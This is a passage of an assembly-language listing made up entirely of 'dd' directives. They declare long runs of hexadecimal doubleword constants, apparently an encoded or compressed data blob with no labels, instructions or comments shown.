		dd 231F2EECh, 4A4049ADh, 827A3DB9h, 0C28B3FF1h,	6351B280h
		dd 58F44D24h, 56BA2300h, 4F951804h, 261E00A5h, 96138DD2h
		dd 53009091h, 0CF115773h, 2D432Ah, 10D842F4h, 23DF74BFh
		dd 483C7879h, 0CB0107B0h, 18C004E9h, 5C30EBh, 9296F08Dh
		dd 0B73A329h, 850F2C7Fh, 80C42D10h, 40881A4Bh, 0CB5200F3h
		dd 0EA29805Eh, 2500740Ah, 8546CDF1h, 0EB6706h, 94A53D79h
		dd 0A96BEE77h, 300F08ECh, 6173E82Fh, 0DAB6B755h, 1AF0330h
		dd 0B88C9024h, 0E4F831A1h, 1BFAC729h, 0C9FC2300h, 13220C16h
		dd 0B6980773h, 0FF4CE160h, 0B26EE9A0h, 0B07B9B12h, 80460D00h
		dd 6FAE9A3Eh, 45270089h, 18817CEBh, 3000068Ah, 7F09487Dh
		dd 7B7413h, 0ED33E2D0h,	0AA0D0A63h, 27075E00h, 5FEB0EA1h
		dd 7A75E89Fh, 20FE19h, 53F060F1h, 9E7D6F80h, 0BA4DC200h
		dd 0B943C81Ch, 0C6BF0005h, 8C075A47h, 287F2A3Fh, 46152407h
		dd 0FE4EC203h, 1A041143h, 42560116h, 13EB014Ah,	34E1E8C0h
		dd 0CC88EE01h, 84F4460Ah, 4BACE0FFh, 3BC300D3h,	67C458EAh
		dd 5904706Fh, 0B8FC0651h, 77629780h, 0BD2C39F8h, 0FC24896h
		dd 69E0A64Ah, 1A6B7E81h, 50EC117Ah, 52085500h, 6C492E7Ch
		dd 0F8FC0094h, 0A430A783h, 0E807C19Dh, 7F01CF6Bh, 31D8A9C0h
		dd 0E652027Ch, 1255F662h, 0EC14D861h, 22F00C7Fh, 67E19324h
		dd 79D91B00h, 9F665703h, 950A9401h, 24A8702Ah, 5E6C4E05h
		dd 2C0752Dh, 10CEABEh, 0D5E56B72h, 30854045h, 0F2001E8Ah
		dd 7B832E16h, 7250412h,	2F485261h, 0C83D4094h, 13A6402h
		dd 24870178h, 34545EBCh, 5373F4h, 426E611h, 0FEB58A1h
		dd 9C02AB79h, 393902Dh,	163860E2h, 343D002Fh, 14F5FA36h
		dd 8A074448h, 0AD5CCA38h, 0A2B1EF60h, 9B450302h, 0FB538D9Fh
		dd 0F0C0C49Bh, 0D603D88Ah, 8327606Dh, 0E15EC852h, 0F82002Eh
		dd 0BF11AE8h, 9200E625h, 0B94EB335h, 53CB82Ah, 0A44FA595h
		dd 2855C0FCh, 460054F5h, 75EB8543h, 73F4165Ah, 5F491EB4h
		dd 1C5940F0h, 580BB2A6h, 7964A3Ch, 91117462h, 0C86B8A90h
		dd 0A03A24FBh, 0A6D6008Dh, 0FC552FF8h, 0A9F05C00h, 912A4A80h
		dd 0EB140017h, 4DB9EE12h, 6C00603Eh, 0BAF9413Ah, 188A53Fh
		dd 66C5E2A9h, 608D1408h, 0CE00A323h, 6B167B27h,	0C01DE3h
		dd 2F394D41h, 1B3BEF50h, 19550E00h, 310B50Bh, 4080037h
		dd 0D09CAE20h, 9E0086F8h, 85896177h, 6556FCh, 5D16A210h
		dd 4624C14Bh, 0C520C300h, 0B83B81EBh, 0EAA40098h, 952BEF2Eh
		dd 72004DC4h, 3144F3C6h, 0E5E9BCh, 438A0CFCh, 21E64B5Ch
		dd 9115F000h, 7D3B88A8h, 383F0035h, 0EF91018h, 0D2003385h
		dd 72AA1474h, 0FE1FE8h,	1C6C2FEFh, 7FD83B17h, 0C0F6F02Ch
		dd 0A0ED740Fh, 2C561F89h, 14F43C51h, 0F0971A8Fh, 0CBB6F700h
		dd 760E934Bh, 80C71E26h, 0C8BA9B34h, 1A3300B8h,	8C17EBF6h
		dd 880FC0FFh, 0C0C28004h, 7C1F548Ah, 0EA0E09D6h, 0FB0C8630h
		dd 0C700BA1Ah, 608A1150h, 43244h, 250A2CD0h, 0E6E80773h
		dd 49F06407h, 3B8089CDh, 1D7E18h, 4F06C375h, 0B85E2A12h
		dd 8831CC01h, 18892B02h, 73A5DCCh, 56E1309Ah, 0CA4B61F5h
		dd 0C08FCC55h, 0F8D74A00h, 0CEEC4988h, 117B21h,	0E03B344Dh
		dd 8B353AE2h, 8E93D63Ch, 0E209B8A2h, 43594CC7h,	0D217C8C1h
		dd 0DACC0056h, 95A72DF8h, 53014B66h, 11D210Bh, 9FCB906h
		dd 8F1800B1h, 6FB4F808h, 0AC008BD2h, 0BFC416D5h, 90882CA5h
		dd 0AFCD1EA0h, 913680E8h, 0E24EA411h, 0E37C0707h, 0F300A50Dh
		dd 73AFF06h, 75732404h,	0B26570EDh, 8AF85A78h, 64403Ch
		dd 6E23ABBFh, 7D460329h, 0DF24013Eh, 1A74B02Ch,	78C8CCFEh
		dd 509F0A03h, 920CF864h, 0C0E36206h, 8C02F6h, 0D316091Ah
		dd 78C41B52h, 4700E17Fh, 35F85958h, 0FCDFCC7Eh,	40A80088h
		dd 3141EBB2h, 6B034503h, 23F349Bh, 6704C0B5h, 7CB20035h
		dd 4623920Ch, 0D10E5F81h, 60E0A0E8h, 8A50401Dh,	0B4BF00A2h
		dd 0B8BB8931h, 0BE0037A3h, 0F90B5FD4h, 0E290935h, 4A5CC58Bh
		dd 8490360h, 3701045Ah,	6CEB299h, 89CC8B07h, 0EB270064h
		dd 9E13D409h, 4F2843C3h, 5F0EB675h, 0C7E4BD1Ch,	870F0A3h
		dd 87B013h, 903A7512h, 247F63FBh, 0EBE82C00h, 3DC2A577h
		dd 40310754h, 803399FCh, 3622B72h, 0B9C11A00h, 0F9611574h
		dd 0E7C0006Bh, 390ED8FBh, 0FC1D7883h, 13D27E06h, 0B8589003h
		dd 0FF1EC811h, 33290748h, 70C30309h, 0C8D834B2h, 0BCFC9300h
		dd 8DC0664h, 0E41300E0h, 0DA9C9E57h, 933A42A6h,	483019Fh
		dd 0BEEE45C7h, 0EC9320h, 0E8496082h, 984671D0h,	0D8BBBD01h
		dd 697F570Bh, 2C2FF6DCh, 74658E2h, 80672D70h, 32563475h
		dd 95B34650h, 0A473AF00h, 11B7490Bh, 0D92C004Ch, 0F02E8D26h
		dd 450FDFFBh, 0C06DEF60h
		dd 0A471794Dh, 3E0FB866h, 0E800C0B8h, 841D9183h, 0A124087Eh
		dd 3D000789h, 6E5EEB8Eh, 57F40015h, 5D7DFF10h, 30007371h
		dd 0D3830231h, 940D8Ah,	1F2FB108h, 8B1A187Fh, 0EA5E2205h
		dd 6180F246h, 1ECE707Ch, 40E90484h, 6DF04E0Eh, 790001F1h
		dd 2CF61D68h, 972D3h, 4DA42245h, 5680BF3Ah, 0F07D8B00h
		dd 55E926C4h, 14DE00C6h, 0D6BEF4EEh, 0F20011B2h, 36EBEC21h
		dd 30711C4Ch, 0F4144786h, 7A001A91h, 2680C483h,	130D6EE8h
		dd 51C4656h, 0C0A92FAAh, 0EC55A5EFh, 0E809EE00h, 4D488033h
		dd 78EB00F8h, 1D7D7C70h, 6A2EF931h, 9C16D116h, 52007712h
		dd 667EE405h, 492B0012h, 0E31451E2h, 0E5F45924h, 1311AE17h
		dd 1C19E700h, 763070h, 0C83B833Ch, 22356E7Eh, 0EB64E200h
		dd 0D821662Fh, 0F6900194h, 12752901h, 52836086h, 950BC200h
		dd 0FB1424BCh, 7B1E3D59h, 0B43D8000h, 995B7C4Ah, 0C49CA400h
		dd 2C8427CCh, 0E5305826h, 8EA93C00h, 832168Ah, 0F500127Ah
		dd 8370E985h, 28D92h, 91031CDh,	20C0803Ah, 2C07A4B8h, 0F6DCD359h
		dd 815448B0h, 3E32EE27h, 4CA4EEFAh, 55A10F85h, 76184940h
		dd 7407195Bh, 3CD8542Ah, 0F06752F7h, 8708A160h,	8475000Bh
		dd 8A9D0572h, 8F00FA4Eh, 0C789EE55h, 224B7F1h, 2CF71782h
		dd 3EC0AD90h, 40F9932h,	0E0142515h, 4E9DC370h, 654A0044h
		dd 3224CE6h, 2006469h, 5E0C4655h, 0FB98B9F0h, 0E89270h
		dd 0CF845F10h, 292228FFh, 0E7F30D50h, 7E938900h, 121821F9h
		dd 0B4B93F26h, 0C040959Dh, 0C0047442h, 2A3EEB48h, 0A0800A1h
		dd 561A3DDh, 0A50C00BFh, 1980FCD5h, 0C5005D09h,	0BAD37828h
		dd 0EBDD57h, 99256826h,	564564A5h, 36951A1Dh, 0D6925D00h
		dd 929C71Ch, 0C2DB2658h, 34B1DB80h, 235C1B0Ah, 0ED080070h
		dd 0DD7036D6h, 467D8Ch,	0EC54F310h, 0A9948D0Eh,	0D1C34Ch
		dd 0E11A3B53h, 7F6624h,	462A73F3h, 770C1108h, 75853E00h
		dd 88A72707h, 1B40F3Fh,	4F808B1Fh, 500AAB91h, 40B9301h
		dd 1021C0E2h, 7820EC4h,	2B53E80Ch, 0F09FB77Ah, 3CBA5DA7h
		dd 4B416C00h, 0CD40A24Dh, 6F190050h, 5CBBE836h,	3890CB08h
		dd 0A2AA8D00h, 808F140Dh, 0C97698h, 3B1991F3h, 786F7C41h
		dd 4200FA72h, 4DDC447h,	3408D61h, 0CB84504Fh, 0E4E02A83h
		dd 81903F46h, 8F43C900h, 9181432h, 9849001Ch, 23AC5E10h
		dd 541F4620h, 7C875341h, 2E6075C5h, 7F22DD95h, 13EE0045h
		dd 0E80A1C9h, 297DEB0Ah, 0D88EAC00h, 96978A1Dh,	0E0DF0001h
		dd 450E729Eh, 235CA90Fh, 4B0C1ECBh, 31516440h, 0B05B28C2h
		dd 0FD1800CBh, 0AF44D80Bh, 6A0FDA27h, 0CFCC046Ch, 0A150C152h
		dd 0E8C0300Fh, 0CB4E13D7h, 19650EBDh, 0F4BC17h,	18EA80FFh
		dd 1F27221h, 4E740D0Ah,	8746A0EDh, 7FC79A2Eh, 5B4FEE60h
		dd 441C00D9h, 0F1D5E04Eh, 0B93C8A9Fh, 273C0351h, 0A0C3B0F4h
		dd 144844Fh, 1EEC127Eh,	0D424655Bh, 94B0C4D7h, 851D59B8h
		dd 124027ABh, 25DCE2B4h, 92790051h, 0DF026A89h,	5700BC99h
		dd 9C054158h, 0EA2EEFh,	0F78DB227h, 0B9F14CCh, 0F641E0Fh
		dd 42A0A0D6h, 729C10h, 0A7311924h, 0AE05876Fh, 0D00937Ch
		dd 43E2863h, 0D3B2B8h, 6F4D39DEh, 2683256Bh, 554EB000h
		dd 87A70151h, 0F2805822h, 929D1401h, 0D40670F6h, 2C2453C4h
		dd 8D00F5BEh, 0E00B44BFh, 2C97E66Ah, 0FCDD6E8h,	2FA0417Ch
		dd 44839DDEh, 0E300487Dh, 4359CD25h, 0E4C69AF8h, 23A40EC4h
		dd 518008F0h, 0A0500B38h, 43F2C750h, 8AA16A00h,	0FB057D3Dh
		dd 0AE75000Dh, 11746122h, 5E261690h, 2C00515Bh,	98A4196Fh
		dd 0EC020006h, 0A064D404h, 2B078360h, 154E31C0h, 4BDB71C0h
		dd 424000D0h, 2A9087F1h, 0C60080A5h, 48A0E950h,	2576C9Eh
		dd 75080973h, 0F440459Ch, 4300993Eh, 2AA4E5E8h,	349A5Eh
		dd 0F679824Fh, 6EBA698h, 77EC300h, 96121F74h, 0C99D093Ch
		dd 73892FA8h, 2D0053DEh, 74408CEh, 36BE004Fh, 0C4937A73h
		dd 2858DB27h, 0E9411D40h, 4F1DCA40h, 2C214Ch, 0FF22D011h
		dd 48ACA490h, 0BCAF9200h, 624B08EBh, 489000Ah, 0FCB3B41Fh
		dd 0F000E147h, 76940B99h, 3D16592Fh, 7700D564h,	0A39A931Fh
		dd 500061B2h, 0B931D446h, 0BA29A8h, 89136E0Bh, 95D71F36h
		dd 8F5A1A1Eh, 4101F3BEh, 43CEFD3Ch, 6AD8A04Dh, 56540004h
		dd 68375030h, 0B500DF48h, 0BA0892A7h, 5A9944h, 0C71F4BB8h
		dd 5601A89Bh, 754A0400h, 58036AF4h, 85843929h, 9A67AA80h
		dd 0FBD5C18h, 257C2A00h, 3170E894h, 65C200E1h, 0D5B2AF88h
		dd 6E01BA90h, 2F24859Ch, 47ED5D6Bh, 7C22C6E0h, 9430084h
		dd 2C230B5h, 2D00829Ah,	0BC7013Dh, 7EFF1306h, 0F3623B0Dh
		dd 0FD1A1Eh, 5EBA72ECh,	1073578h, 1E448A23h, 0E9472CC0h
		dd 20D1001Ah, 0BC9616F9h, 0E47F19F8h, 28C9E800h, 0BBC45E7Dh
		dd 0A2120029h, 0D27EC05Fh, 8C394EE9h, 0AEB300A4h, 83D70EAAh
		dd 2CB7009Bh, 2672124h,	0D800EC09h, 0F465299Eh,	0B0EE4D34h
		dd 3FE900D1h, 88BA6D8Ah, 8D009AC0h, 7B29A977h, 7D0F9809h
		dd 0D494004Ch, 0EB877833h, 62F8D57Eh, 1E042600h, 85A81144h
		dd 3A23F30h, 0B0FE5680h, 0BCC44EA7h, 4E90387Ch,	9459102Ch
		dd 0E751900h, 7C0AC837h, 43F9002Ah, 5821DFF0h, 25008E0Fh
		dd 61C7FF16h, 1717422Ch, 0CDA240h, 937E37B5h, 670047DCh
		dd 0B7C8E519h, 59EB18h,	0E45B4BD4h, 8503659Bh, 0E2F8AC00h
		dd 1614AE02h, 54909Ah, 2D381DE9h, 0F4561025h, 0C481E000h
		dd 3AD7FBA8h, 0DAF50072h, 8003DF09h, 0D604D085h, 0E8709D24h
		dd 4AC3A780h, 0E0BD0081h, 752F1B50h, 0E9071C4Eh, 0FDEE8488h
		dd 0D4EA8B70h, 0E8090125h, 6539F62Fh, 2A1CCC23h, 11CDE61Eh
		dd 824B4FC0h, 13098CD5h, 0E029D5Ch, 89A02BBEh, 0A4A85833h
		dd 0B206271Fh, 9A5BE8C0h, 2D03145h, 0FEF32042h,	45C08204h
		dd 0A707DC29h, 9E58BB84h, 89BF13A0h, 0F8700005h, 40E4155Ah
		dd 1C01FCE8h, 2144C196h, 0DB2084EAh, 0D8A80F32h, 0A9A0B275h
		dd 4E17ECEh, 2EFF0300h,	0D65C5AF0h, 7BF70064h, 0BFCEE11h
		dd 480088A1h, 4404EA2h,	7591B2h, 0B754C16Ch, 95528DD5h
		dd 0A04BF404h, 0EEDB57h, 890D43ABh, 0C6E40C67h,	20F1ACE2h
		dd 644C91C1h, 0B43205EEh, 0BE000624h, 48B8A5C7h, 9FBC0010h
		dd 0C09D4A05h, 0C403910Dh, 0BD90063Eh, 45CC88C8h, 4A56008Dh
		dd 0D5E7EBF1h, 0FD008625h, 12B4591Bh, 3BE86B97h, 9280D4DFh
		dd 195C2E2h, 9002E34h, 29C08582h, 7518D7h, 4412244Ch, 3445D3E8h
		dd 5314A100h, 1AB9A4BEh, 1F46079Ch, 50EC8B40h, 0B0139E77h
		dd 1607C079h, 6A3612EBh, 3E31BAF0h, 4F4600C8h, 106882E9h
		dd 4C095720h, 800BC961h, 0BF3D2749h, 1A6E00AAh,	0B45CD340h
		dd 9E00DDCBh, 0A5F99FABh, 478D85h, 30939D04h, 0DB5E84BBh
		dd 0A9BDEC1Fh, 0DC652AC1h, 0C9306A14h, 25720073h, 902C1E9Fh
		dd 6E00C505h, 292084Dh,	9175CBh, 0C7B5FC0Ch, 10DBCFC3h
		dd 0B9249FF4h, 95039B5Ah, 3BC3F71h, 0D3CCC5A4h,	0C7C72E3Eh
		dd 463CB0BEh, 0F80093A0h, 7E555662h, 0FCB59F5h,	43C4C95Ah
		dd 7CC722CFh, 0CEADF02Fh, 4007E6E9h, 0DB78803Fh, 31B7670h
		dd 0C669001Ch, 90E168Dh, 6800EC54h, 63655281h, 9E7F08h
		dd 20BB4AB5h, 0E8DB330Ch, 16872503h, 0F1D867A9h, 6C0FBFEh
		dd 3B09007Fh, 420CDD34h, 7501C0F7h, 150EA0F1h, 10C5F98Bh
		dd 1D05BAD4h, 40659C34h, 1DEB7260h, 24F41789h, 5F92C600h
		dd 8BFD8054h, 46C4000Dh, 0CB081FA5h, 8900018Fh,	5A590C70h
		dd 5292023h, 0A1080F4h,	5267C05Bh, 533EF281h, 4AD08448h
		dd 0E3C07433h, 83B00Fh,	720216EAh, 0A123EB10h, 1B58F804h
		dd 988021EEh, 6007A2h, 6BC504B3h, 0ADF7FB2Ch, 49C7A300h
		dd 0F6DC477Dh, 16770090h, 9D21B3E9h, 0C4502AE0h, 9E19C0FAh
		dd 0B7464B20h, 0A1F0E8h, 1A093F29h, 0D3CBC90Ch,	67747F07h
		dd 82E07383h, 145D48h, 5970FBB4h, 0CE8097E4h, 761AA900h
		dd 0F00EC7ECh, 7DE2000Bh, 91F804F4h, 5000E480h,	5505E868h
		dd 4CA1E0h, 0ED4D2B73h,	6CA4EA45h, 3D66BB00h, 62B191CEh
		dd 11A10EF7h, 0D36039E0h, 81F08269h, 604A5500h,	0CC898431h
		dd 3EFCB02Bh, 0BC1D6D38h, 0E8C34029h, 634C914Fh, 83090A00h
		dd 69E904C1h, 1DA707FBh, 3044A89Ah, 23F589EAh, 0B216803h
		dd 999FDC91h, 46E4DD6Dh, 0F66A7990h, 0B95E00B8h, 44E1DFD6h
		dd 55016253h, 27073C31h, 87ECC8EBh, 0F9341C04h,	0A478037h
		dd 28103523h, 0EDBC248h, 25312Fh, 901E06EAh, 0B01C0389h
		dd 4D9C303h, 0E80705D0h, 20091073h, 50094008h, 0D021270h
		dd 16670004h, 53E88401h, 627B921Dh, 0B14C8BC0h,	0E21496h
		dd 0D412FE90h, 0C80AA8A0h, 64B40C03h, 0E0B032ACh, 62677Eh
		dd 9D14A4A7h, 0FC589AA0h, 4C7B831Eh, 0F247F40h,	0BA444A5h
		dd 10B42629h, 73A07200h, 34B06A18h, 4354C801h, 62960C74h
		dd 0D6307DC5h, 0F25005Fh, 5BA7EA85h, 0DB070847h, 0E4A6B2FEh
		dd 0E0DF6087h, 0A4269684h, 0FCC80766h, 0A00EA5B8h, 8B8D29D1h
		dd 9528BB03h, 0A0B97E2Eh, 0F653416Eh, 0B4220316h, 0FA47E827h
		dd 54BEAEE8h, 0C43AC003h, 0AB320B89h, 10C8C87Ah, 0FA841DCCh
		dd 0DD0C0B5h, 0A257A4D4h, 42616400h, 0AC889103h, 2CA13813h
		dd 37EE0CCh, 0DCCA4810h, 62A8996Ah, 96EA5AEBh, 980C9401h
		dd 9C5CA984h, 78CA0D8h,	0A823A443h, 2C8F310h, 5C8890A0h
		dd 0A037174h, 0AEA42CD3h, 8A260045h, 3192A74Dh,	305BA89h
		dd 7C936372h, 8B795380h, 0F07300B5h, 0C9D85CADh, 0BB0FEB56h
		dd 81C4B349h, 99FC38A5h, 1D0E0C0h, 0B0FDC283h, 70084FCBh
		dd 0C8001DE5h, 58730AD3h, 0BDC322h, 553BEF51h, 6999E7E9h
		dd 30175900h, 0AE3683B6h, 0BB7403B3h, 20BC2C1h,	0C54670A8h
		dd 0C400BEF4h, 0D266424Ch, 1599A0h, 1665F427h, 0BC065ACEh
		dd 0E70FD4EAh, 0E0A57AB1h, 62ADC785h, 3CF738E5h, 8287E8BFh
		dd 40F9B7B8h, 0C49421A8h, 4F00CA7Bh, 6452A668h,	0CC536Ch
		dd 5C629F81h, 0A3A2FE40h, 0DD00E473h, 0BCA18442h, 0F62D47h
		dd 1469C822h, 7CFDFC45h, 0C77F9303h, 985E9217h,	470CCAh
		dd 0A584080Bh, 792DB89Ah, 0A9A88C00h, 18A2C2FBh, 2FE6D8h
		dd 0B8110BB5h, 94D421A4h, 2A161001h, 2C7B446Ch,	0DD5970h
		dd 9FA65C25h, 3FCA2D19h, 23D5100h, 10C40C6h, 0F70900ABh
		dd 7253BE93h, 0A10F15B0h, 8E941AFCh, 9A4AA45Eh,	92A9F6C0h
		dd 1F8FFCDAh, 0D644150Ch, 4D207B8h, 51C03E47h, 0F4611DD4h
		dd 6CDD6000h, 826FFF41h, 0A19400BDh, 77E8548Ah,	5C006163h
		dd 96AD4E58h, 1D0A307h,	4F084340h, 2009D42Ah, 0D81294A6h
		dd 56030C63h, 0F8E0B823h, 8E030Bh, 8580B914h, 9CB46E9Dh
		dd 4C1EF3F2h, 0C4005B5Fh, 80669709h, 0B6E1073Ch, 41B07E60h
		dd 0E08A4A14h, 4C70C95Eh, 48EB6E00h, 4E75F78Bh,	85CC00EFh
		dd 127C01F6h, 30010C8Ah, 2048E181h, 6720840Dh, 66F20FE9h
		dd 2647CE2Ch, 79800001h, 83004905h, 7441FEC9h, 0B8750985h
		dd 560200D3h, 382D3B17h, 0B000CECDh, 5FC28B94h,	3F25E5Ah
		dd 1513D2D4h, 74A0EFF6h, 0CB00ED0Fh, 0C24AD6C5h, 39D79760h
		dd 33002990h, 2A1EC956h, 9F0F1407h, 0A0C17785h,	16703A3Ch
		dd 97E00F0h, 66F5F9B5h,	6B0017D6h, 8DE7FFBh, 1F1B7A52h
		dd 9AF65Ch, 0C4A23B7Eh,	21D0AD6h, 258F58F3h, 42B0C0CDh
		dd 1A7C2Ch, 754058Ah, 62E281FFh, 1815AF07h, 46704001h
		dd 7D34C0h, 5FC68BE6h, 0CB54D99Fh, 0DEE24BE6h, 0F3536100h
		dd 0E58C4DBAh, 16EB0BC0h, 0F8808A42h, 0DA21FF06h, 78488B00h
		dd 0C60574F1h, 0E17C2668h, 18750069h, 2797141Dh, 0B38B1903h
		dd 0F8953A11h, 0E2A84BEh, 0F32334FAh, 7E995F60h, 5200FD21h
		dd 0EAF64AC9h, 3E3E3F59h, 37BDBE81h, 2E13CC00h,	28A8F254h
		dd 0EC21D32Ch, 3BE89801h, 0E46060BDh, 2FAC010Ch, 7157ADFh
		dd 8EBE044h, 932FF48h, 805159B7h, 64BE3A67h, 0DE462442h
		dd 0C0E51E4Dh, 26C468BAh, 67003575h, 537D6028h,	772B0C0Fh
		dd 0D4EB0089h, 0FF3362C0h, 0DF3B3AF5h, 92043BF7h, 54002DE1h
		dd 75C215E9h, 0B7FE46h,	0FB0FAAF8h, 6947FD2Bh, 6F77C700h
		dd 0B5EA17FCh, 7B30056Ah, 8184340Fh, 0F007AFFCh, 0D7007C74h
		dd 957847EDh, 8D4B7Dh, 0CD3C5672h, 57C5E9E7h, 607C0A0Eh
		dd 6F2BC0D5h, 58F9CC66h, 78923Fh, 0C36CB7D6h, 27238859h
		dd 9FE08000h, 156E7402h, 0D098B0h, 4CE8C917h, 2A28F8E3h
		dd 0B71C2700h, 0C743E661h, 0C3830023h, 49F96AAh, 0AE002B7Fh
		dd 0D0D4DCA1h, 2FA173Bh, 0B6B5B076h, 0AFC0AC2Fh, 0D3003590h
		dd 259583E8h, 0B0F010h,	64BD1228h, 0A640F47Ah, 0F93D1477h
		dd 66C69CC4h, 99B75305h, 574266C0h, 0DDFC00F8h,	0D752B028h
		dd 0F000D69Ah, 745815EEh, 0F717630h, 0C749C847h, 97DC7520h
		dd 70006856h, 0B34E8DE8h, 0F6C41F4h, 0ACBEA5A0h, 67FA2E0h
		dd 7003D409h, 0F846BFBBh, 1F3C8A3h, 17C29885h, 3021561h
		dd 0F876692h, 79D08BB8h, 303A773h, 456E4CFh, 0C15D80BAh
		dd 9690E8h, 6A4ECB8Ah, 50A75F02h, 1C9D7103h, 9088DF95h
		dd 2AD509h, 0E5C3CF0Fh,	0C545085Eh, 0F0554000h,	4E41DF70h
		dd 1080002Ah, 3A448A25h, 5CE60635h, 0D8FA07E0h,	43167200h
		dd 0F9649088h, 3FD1FEACh, 0FE9FABC1h, 0CB8980B9h, 7A5EEE75h
		dd 0D077252Dh, 2A1D3CF6h, 5080403Eh, 0BF18AACCh, 5B014816h
		dd 908452B9h, 0F9FC49F1h, 4453014Ah, 28AE4BF5h,	24C3ECE8h
		dd 2DD85800h, 2FF3E588h, 0F7470103h, 0C7658589h, 5046F0BBh
		dd 1B83Fh, 937114BAh, 6FE1E4A5h, 0ECABDA02h, 0AB04A280h
		dd 4F003EE2h, 14601383h, 1BBA9Bh, 9D2AB622h, 0F0A234B0h
		dd 4853DB00h, 615552E0h, 1C463F84h, 6E4AC080h, 0FFC631E9h
		dd 44A2E200h, 2C14B1F1h, 1D0F07BAh, 0C08ABB88h,	2E0413F2h
		dd 3C000EF6h, 0E44AA9F3h, 2C196E4Ch, 6C8108Dh, 0B0B120F4h
		dd 37A51D01h, 0DCC8F590h, 3B886CFCh, 175D11Fh, 297748E5h
		dd 0F83CD28Ah, 0E200F8B8h, 227C04D4h, 0EE643420h, 77D82E5Ah
		dd 14FC000Eh, 0BA3AB10Ah, 5B6D1E1Eh, 0D01155C1h, 28D09402h
		dd 0F007790Fh, 4A0400B8h, 8CCE462h, 0EB9844A0h,	0FBF114FAh
		dd 0F8A222C8h, 0BC53F33Ch, 0F8CA25F4h, 68253AC7h, 299D8E80h
		dd 8943DE61h, 80AEAC3Ah, 59B8D152h, 0F1A940Fh, 23C83FC4h
		dd 200E4E5Dh, 804CEBE7h, 0CA104305h, 78015298h,	0C446BAF4h
		dd 7070F88Fh, 0EEF7A052h, 0FC1B0006h, 1721E468h, 0B83AF410h
		dd 313A80E5h, 5C2A7393h, 8EF01F1Dh, 48D2C146h, 0E4780CF9h
		dd 0CDEC9755h, 6552C600h, 0EABA99A9h, 0EBF60073h, 3064A0DBh
		dd 211D0672h, 0CAC02F6Dh, 58EAC074h, 7A03F218h,	2C730020h
		dd 44EC1E9Dh, 527D6102h, 70880C00h, 68144CEAh, 0CFB71E24h
		dd 920580B1h, 959DE920h
		dd 0F94100Bh, 1B542Fh, 96CE3A1Ah, 1900DF84h, 0D36773DCh
		dd 1ED9392Ch, 1C55F6Fh,	42827488h, 4F17DCAFh, 6ED6DD00h
		dd 0A32A2FE1h, 0C45A0041h, 23038243h, 95003DCCh, 64AD4B51h
		dd 6A04BBh, 880D8B01h, 0BCC802A8h, 12EB501Dh, 79FC2840h
		dd 89108Fh, 73950C58h, 0AF686ED4h, 6DEC4400h, 5EC8B76Fh
		dd 0D9F1DF3h, 0DD9E00E8h, 0BB14F43Fh, 420B2574h, 4094A5DFh
		dd 0F6BA59EBh, 0CDFB02CBh, 0AF096E12h, 686063E0h, 9BC5F800h
		dd 0B42937E8h, 8BA0788h, 0A05306B0h, 0A32D2347h, 0BBDA3C17h
		dd 8504FD1Fh, 0C7BE0A5Ah, 132530D8h, 0FCF4D5BDh, 4400AC7Bh
		dd 6B736907h, 8F7246h, 61705321h, 7845F863h, 8C416404h
		dd 0ECC0BD56h, 0D2FDB4h, 2B088E94h, 468D0B1Ch, 0E02D500h
		dd 0B8E64FAFh, 5FF0069h, 4E40DFD8h, 0E9902789h,	0AA1D6300h
		dd 1B10DD28h, 9515008Bh, 0E81262D2h, 0F57C38E7h, 0BC1C2F77h
		dd 0C68125F2h, 6026847Bh, 0B17D20h, 83A0FBBFh, 0E280D317h
		dd 1911FC00h, 0AA691C4Bh, 751A0055h, 138774A6h,	7E0394C6h
		dd 0AB273B07h, 9CC4B81Dh, 0F883FC97h, 7EB02Ch, 0A17C582Ah
		dd 37F9E880h, 55D01212h, 7E1EB7B8h, 8423006Fh, 0EEA0D804h
		dd 4EF4F11Ch, 2CFA3B80h, 48E9F0h, 9E3F272Fh, 0A04064CEh
		dd 0C8434600h, 80849FB1h, 8234077Bh, 53C23228h,	2CF9CA90h
		dd 0BFA93092h, 76078D90h, 0F5E10B51h, 0E08553D3h, 0EF2AD9Eh
		dd 2438C920h, 411037C0h, 0C6002C05h, 6A0134F4h,	34C18FFh
		dd 5C2DA2A4h, 0C2A0BBCBh, 0AB00CC92h, 0F0EB9198h, 0D8BE24h
		dd 0AA8E96BCh, 11540CE4h, 21D7E007h, 4BE748D3h,	0D0EF9380h
		dd 4C24FA22h, 723844h, 4099C031h, 4812B851h, 4C00B0FAh
		dd 89A8216Ch, 711918Ch,	441C22A0h, 9043FF98h, 81C96C13h
		dd 73F66088h, 28198007h, 0C4D77811h, 647041D0h,	368F2B0h
		dd 6031944Ch, 4C0F7C89h, 20343258h, 5C702450h, 744400E2h
		dd 91D48940h, 320138F1h, 2630119Ch, 41FE51A4h, 20E4C8B6h
		dd 314C0099h, 22681318h, 513E1061h, 0EC520030h,	29542608h
		dd 40100A1h, 93465042h,	4400840Ch, 0FC6147F0h, 0F9A941h
		dd 19F89918h, 89F41CACh, 0F074A474h, 0EC788478h, 3C4C2C00h
		dd 0E5ED24E8h, 0C290320h, 0A831E499h, 89E0B0EFh, 0DC011C98h
		dd 841819CAh, 47D4D8E6h, 0D4220110h, 2124CC53h,	913A9DD0h
		dd 48F41DFAh, 5459C85Eh, 1C9FC414h, 23C0CA3Ch, 8BC008Dh
		dd 64E67AE8h, 684AB80Eh, 5DB4A618h, 23B01D47h, 1EAC1D74h
		dd 0FA81F08h, 0A4AE6050h, 0E71844A7h, 6C78A3A0h, 1E679CFBh
		dd 94F09838h, 1D44BC24h, 2E3CA6D0h, 0F2FF3A2Eh,	30E9F78Ch
		dd 5C7263FAh, 0F7F1715h, 53804224h, 467C2227h, 7833D458h
		dd 0A7747429h, 23640DF8h, 0D8EBEFC8h, 1C0A94A8h, 84096B00h
		dd 5883A46Eh, 56EC27h, 3F9070AAh, 4E394913h, 413A4607h
		dd 82E25C4Ah, 11405D1Ch, 0B800FC01h, 0F97B4213h, 0EA1752C1h
		dd 0B0B400C5h, 53A7D3Dh, 0A3055FB8h, 0E97E2010h, 0C3C74C0h
		dd 0FB00750h, 0E07D8091h, 3720213h, 0C1C0B800h,	0A9ECE8E4h
		dd 72C27F07h, 25A100FCh, 6C7FFF2Dh, 73008C78h, 0E817C886h
		dd 43A507h, 4849B403h, 1860FA9Ch, 0EBA4F31Ch, 758D2300h
		dd 0B60FE7h, 800C105Dh,	0B7401FBh, 773F0400h, 6CBF3309h
		dd 0B00E003Bh, 1B3027Eh, 9D0014FFh, 0F659ADEFh,	8C2846h
		dd 0B7255895h, 16339AC6h, 7824B500h, 88EB0923h,	0B67551h
